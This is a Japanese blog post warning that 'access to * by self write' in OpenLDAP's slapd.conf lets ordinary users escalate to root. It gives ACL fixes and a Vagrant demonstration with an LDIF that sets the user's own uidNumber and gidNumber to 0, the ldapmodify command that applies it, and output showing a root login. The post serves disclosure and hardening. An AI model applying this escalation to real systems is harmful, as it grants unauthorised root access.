OpenLDAPの設定でaccess to * に気軽に by self write を入れてはいけない

# 概要

openldap の slapd.conf の設定で、access to * に by self write と入れてませんか？　この設定は非常に危険なので今すぐに見直すべきです。

# 何が起こるの？

詳細は[ブログ記事](http://www.typemiss.net/2014/09/openldap-access-to-by-self-write.html)や[githubに上げたVagrant一式](https://github.com/kounoike/vagrant-ldap-server)を見てください。

簡単に言うと、ldap.conf や sudoers の設定にもよりますが、ログインできるローカルユーザが root になれてしまいます。

# どう設定すれば良いのか

「ユーザがldapmodifyコマンドなどを使える」ことを意識してきちんと ACL を設定することです。例えば、by self write を付けるのは userPassword, shadowLastChanged, loginShell, gecos などに限定するとか。逆に変更されてはまずいものを先に read-only にしてから by self write するとか。

# デモンストレーション

```
> vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Checking if box 'hashicorp/precise32' is up to date...
==> default: Clearing any previously set forwarded ports...
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
    default: Adapter 1: nat
==> default: Forwarding ports...
    default: 22 => 2222 (adapter 1)
==> default: Booting VM...
==> default: Waiting for machine to boot. This may take a few minutes...
    default: SSH address: 127.0.0.1:2222
    default: SSH username: vagrant
    default: SSH auth method: private key
    default: Warning: Connection timeout. Retrying...
==> default: Machine booted and ready!
==> default: Checking for guest additions in VM...
    default: The guest additions on this VM do not match the installed version of
    default: VirtualBox! In most cases this is fine, but in rare cases it can
    default: prevent things such as shared folders from working properly. If you see
    default: shared folder errors, please make sure the guest additions within the
    default: virtual machine match the version of VirtualBox you have installed on
    default: your host and reload your VM.
    default:
    default: Guest Additions Version: 4.2.0
    default: VirtualBox Version: 4.3
==> default: Mounting shared folders...
    default: /vagrant => C:/Users/kounoike/Documents/vagrant/ldap-server
    default: /tmp/vagrant-chef-3/chef-solo-1/cookbooks => C:/Users/kounoike/Documents/vagrant/ldap-server/berks-cookbooks
    default: /tmp/vagrant-chef-3/chef-solo-2/cookbooks => C:/Users/kounoike/Documents/vagrant/ldap-server/cookbooks
==> default: Machine already provisioned. Run `vagrant provision` or use the `--provision`
==> default: to force provisioning. Provisioners marked to run always will still run.
> vagrant ssh -- -l user1
user1@127.0.0.1's password:user1
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

167 packages can be updated.
77 updates are security updates.

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.



Welcome to your Vagrant-built virtual machine.
Last login: Fri Sep 12 16:01:17 2014 from 10.0.2.2
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

167 packages can be updated.
77 updates are security updates.

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.



Welcome to your Vagrant-built virtual machine.
user1@precise32:~$ id
uid=2000(user1) gid=2000(user1) groups=2000(user1)
```
この時点ではuid=2000の一般ユーザ。そしてこんなLDIFを用意する。

```text:usermod.ldif
changetype: modify
replace: uidNumber
uidNumber: 0
-
replace: gidNumber
gidNumber: 0
```

このLDIFを用いて、自分自身のDNでバインドしてエントリを書き換える。

```
user1@precise32:~$ ldapmodify -D "uid=user1,ou=People,dc=example,dc=com" -w user1 -f /vagrant/usermod.ldif
```

一度ログオフして再度ログインすれば攻撃完了。

```
>vagrant ssh -- -l user1
user1@127.0.0.1's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

167 packages can be updated.
77 updates are security updates.

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.



Welcome to your Vagrant-built virtual machine.
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

167 packages can be updated.
77 updates are security updates.

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.



Welcome to your Vagrant-built virtual machine.
root@precise32:~# id
uid=0(root) gid=0(root) groups=0(root),2000(user1)
```